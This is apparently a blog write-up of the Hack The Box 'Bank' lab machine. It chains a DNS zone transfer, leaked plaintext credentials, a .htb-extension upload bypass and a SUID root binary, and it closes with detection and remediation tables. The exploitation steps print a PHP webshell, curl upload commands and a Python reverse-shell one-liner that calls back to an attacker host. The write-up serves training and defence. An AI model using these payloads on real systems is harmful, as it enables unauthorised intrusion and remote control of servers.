Skip to content
Back to all posts

HTB: Bank

· 15 min easy Linux Bank

A DNS zone transfer leaks the domain, a failed encryption process exposes plaintext credentials, a debug file extension bypass enables a webshell, and a custom SUID binary gives instant root.

Overview

Bank is an Easy-rated Linux machine running Ubuntu 14.04 with three services: SSH, DNS (ISC BIND 9.9.5), and Apache. A DNS server co-located with a web application is unusual and immediately signals that DNS enumeration is worth pursuing.

The attack chain crosses four distinct weakness classes. A DNS zone transfer discloses the domain structure and a probable username. An open directory of encrypted account files contains one outlier where encryption failed, leaving plaintext credentials exposed. A debug Apache configuration maps the .htb file extension to the PHP handler, bypassing upload restrictions. A custom SUID binary at a non-standard path grants instant root with no authentication.

Each vulnerability is individually trivial. The box tests enumeration discipline: sorting file listings by size, reading HTML source comments, and checking for non-standard SUID binaries.

Reconnaissance

I start with a service scan:

nmap -sC -sV 10.129.29.200
PortServiceProduct / VersionNotes
22SSHOpenSSH 6.6.1p1Maps to Ubuntu 14.04
53DNSISC BIND 9.9.5Unusual for a web app box
80HTTPApache httpd 2.4.7Requires hostname to serve app

Port 53 on an application server is a strong indicator that the box is its own authoritative DNS server. BIND 9.9.5 with default configuration allows zone transfers from any source, because allow-transfer defaults to { any; }.

Attack Surface Analysis

DNS zone transfer

A zone transfer against bank.htb succeeds without authentication:

dig axfr bank.htb @10.129.29.200
bank.htb.       604800  IN  SOA  bank.htb. chris.bank.htb. 5 604800 86400 2419200 604800
bank.htb.       604800  IN  NS   ns.bank.htb.
bank.htb.       604800  IN  A    10.129.29.200
ns.bank.htb.    604800  IN  A    10.129.29.200
www.bank.htb.   604800  IN  CNAME bank.htb.

The SOA RNAME field chris.bank.htb encodes the zone administrator’s email (RFC 1035 section 3.3.13 specifies this as the mailbox of the person responsible for the zone). This gives us a probable username: chris.

After adding bank.htb to /etc/hosts, browsing to http://bank.htb presents a login form titled “HTB Bank - Login”. Without credentials, I move to directory enumeration.

Balance transfer directory

Gobuster discovers /balance-transfer/, an open directory listing:

gobuster dir -u http://bank.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
/balance-transfer   (Status: 301)
/uploads            (Status: 301)
/assets             (Status: 301)
/inc                (Status: 301)

The /balance-transfer/ directory contains hundreds of .acc files. Each file holds account data (name, email, password) encrypted with an unidentified algorithm. Most files are approximately 583 bytes.

The key insight is to sort by file size and look for outliers. When hundreds of files share the same size but one differs significantly, that anomaly is always worth investigating. Clicking the “Size” column header in the Apache directory listing (or sorting a wget mirror) reveals:

68576f20e9732f1b2edc4df5b8533230.acc  -  257 bytes

The smaller size indicates the encryption process failed for this account, leaving the data in plaintext:

--]    Full Name: Christos Christopoulos
--]    Email: [email protected]
--]    Password: !##HTBB4nkP4ssw0rd!##
--]    CreditCards: 2
--]    Transactions: 8

The failure mode is significant. The application encrypted hundreds of records successfully but had no error handling for the one that failed. No retry, no alert, no access restriction on the unencrypted output. It was served alongside the encrypted files with identical permissions.

Vulnerability Analysis

File upload bypass via debug Apache handler

The support ticket page at /support.php includes a file upload feature. The application rejects files with the .php extension via a server-side whitelist check. However, an HTML comment in the page source reveals a debug configuration:

<!-- [DEBUG] I added the file extension .htb to execute as php for debugging purposes only [DEBUG] -->

This comment indicates a custom Apache handler directive (likely AddType application/x-httpd-php .htb in the virtual host or .htaccess) that maps .htb files to the PHP interpreter. The extension whitelist blocks .php but does not account for .htb, creating a bypass.

AttributeValue
CWECWE-434 (Unrestricted Upload of File with Dangerous Type)
Root causeExtension blacklist that does not cover all executable mappings
PrerequisiteAuthenticated session
ImpactRemote code execution as www-data

Custom SUID binary

find / -perm -4000 -type f 2>/dev/null

Among the standard SUID binaries (/usr/bin/passwd, /bin/su, etc.), one stands out:

/var/htb/bin/emergency

A 32-bit ELF binary owned by root with the SUID bit set, placed at a non-standard path. Running file and strings on the binary shows it calls setuid(0) followed by execl("/bin/sh", ...). No authentication, no input validation. It is a trivial privilege escalation.

AttributeValue
CWECWE-269 (Improper Privilege Management)
MITRE ATT&CKT1548.001 (Setuid and Setgid)
Root causeCustom SUID root binary with no access control
ImpactImmediate root shell

Exploitation

Step 1: Login with discovered credentials

curl -c cookies.txt -X POST http://bank.htb/login.php \
  -d '[email protected]&inputPassword=!%23%23HTBB4nkP4ssw0rd!%23%23&submitadd=Submit'

Authentication succeeds. The session cookie grants access to the dashboard and the support ticket page at /support.php.

Step 2: Upload webshell via .htb extension

I create a minimal PHP webshell and upload it through the support ticket form:

<?php system($_GET['cmd']); ?>
curl -b cookies.txt \
  -F "title=test" \
  -F "message=test" \
  -F "[email protected];type=application/octet-stream" \
  -F "submitadd=Submit" \
  http://bank.htb/support.php

The application accepts the .htb extension. Apache maps it to the PHP handler, and the file executes at http://bank.htb/uploads/shell.htb:

curl "http://bank.htb/uploads/shell.htb?cmd=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)

I upgrade to a proper reverse shell from here:

curl "http://bank.htb/uploads/shell.htb?cmd=python3+-c+'import+socket,subprocess,os;s=socket.socket();s.connect((\"10.10.14.X\",9001));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'"

User flag obtained from /home/chris/user.txt.

Step 3: Privilege escalation via SUID binary

From the www-data shell:

find / -perm -4000 -type f 2>/dev/null | grep -v '/usr\|/bin\|/sbin'
/var/htb/bin/emergency

Running the binary:

/var/htb/bin/emergency
# id
uid=0(root) gid=33(www-data) groups=33(www-data)
# cat /root/root.txt
[redacted]

Root flag obtained. The gid remains 33 (www-data) because the binary only calls setuid(0), not setgid(0). This is sufficient for reading /root/root.txt since the file is owned by root with mode 0600.

Post-Exploitation

uname -a
# Linux bank 3.13.0-57-generic #95-Ubuntu SMP Fri Jun 19 09:28:15 UTC 2015 x86_64

cat /etc/os-release | head -2
# NAME="Ubuntu"
# VERSION="14.04.2 LTS, Trusty Tahr"

Ubuntu 14.04 with kernel 3.13.0-57 reached end-of-life in April 2019. The kernel is vulnerable to OverlayFS local privilege escalation (CVE-2015-1328) and multiple other local root exploits, making the SUID binary only one of several paths to root.

The MySQL database backing the application contains additional user accounts. The encryption key used for the .acc files could be extracted from the PHP source to decrypt the remaining account data.

Examining /etc/apache2/sites-enabled/bank.conf confirms the debug handler:

AddType application/x-httpd-php .htb

This directive treats any .htb file as PHP, regardless of where it lives under the document root.

Defensive Analysis

PhaseMITRE ATT&CKDetection
ReconnaissanceT1590.002DNS zone transfer from non-secondary nameserver
Credential AccessT1552.001Bulk access to /balance-transfer/ directory
Initial AccessT1078.001Login with valid credentials from unexpected source IP
ExecutionT1505.003PHP execution from the uploads directory
Privilege EscalationT1548.001Execution of non-standard SUID binary at /var/htb/bin/

DNS: BIND should be configured with allow-transfer { none; }; (or limited to authorised secondary nameserver IPs). Zone transfer requests from arbitrary IPs should be logged and alerted. This is a one-line configuration change that eliminates the entire reconnaissance phase.

File integrity: The uploads directory should be monitored for new files with executable extensions. A stronger control is to store uploads outside the webroot entirely and serve them through a handler that sets Content-Disposition: attachment and strips executable permissions.

SUID auditing: Periodic scans for SUID binaries outside standard system paths (/usr/bin, /usr/sbin, /bin, /sbin) catch both deliberate backdoors and misconfigurations. Tools like AIDE or osquery can automate this.

Remediation

PriorityActionEffortImpact
P0Remove /var/htb/bin/emergencyLowCritical
P0Remove the AddType application/x-httpd-php .htb directiveLowCritical
P0Restrict DNS zone transfers (allow-transfer { none; };)LowHigh
P1Add error handling to the encryption process: retry, delete plaintext on failure, alertMediumHigh
P1Store uploads outside webroot; validate file content via magic bytes, not extension aloneMediumHigh
P1Disable Apache directory listing for /balance-transfer/LowHigh
P2Strip debug HTML comments via build pipelineLowMedium
P2Deploy periodic SUID binary auditingLowMedium
P3Upgrade to a supported Ubuntu LTS releaseHighHigh

Key Takeaways

  1. DNS zone transfers are low-hanging fruit. An unrestricted zone transfer disclosed the entire domain structure and a username. This is a one-line BIND configuration fix that many administrators overlook. The default allow-transfer policy in BIND permits transfers to any source, which means forgetting to configure it is equivalent to leaving it open.

  2. Error handling failures create security gaps. The encryption process failed silently on one account, leaving plaintext credentials exposed in the same directory as the encrypted files. Every cryptographic operation needs failure handling: retry the operation, delete the plaintext output, or alert an administrator. Serving unencrypted data alongside encrypted data with identical access controls negates the encryption entirely.

  3. Extension blacklists are inherently fragile. The upload filter blocked .php but not .htb, which Apache was configured to execute as PHP. A content-type whitelist (checking magic bytes against an allowed list) is more resilient than an extension blacklist, because it does not need to anticipate every possible executable mapping. The defence-in-depth fix is to store uploads outside the webroot so that even a bypass cannot achieve direct execution.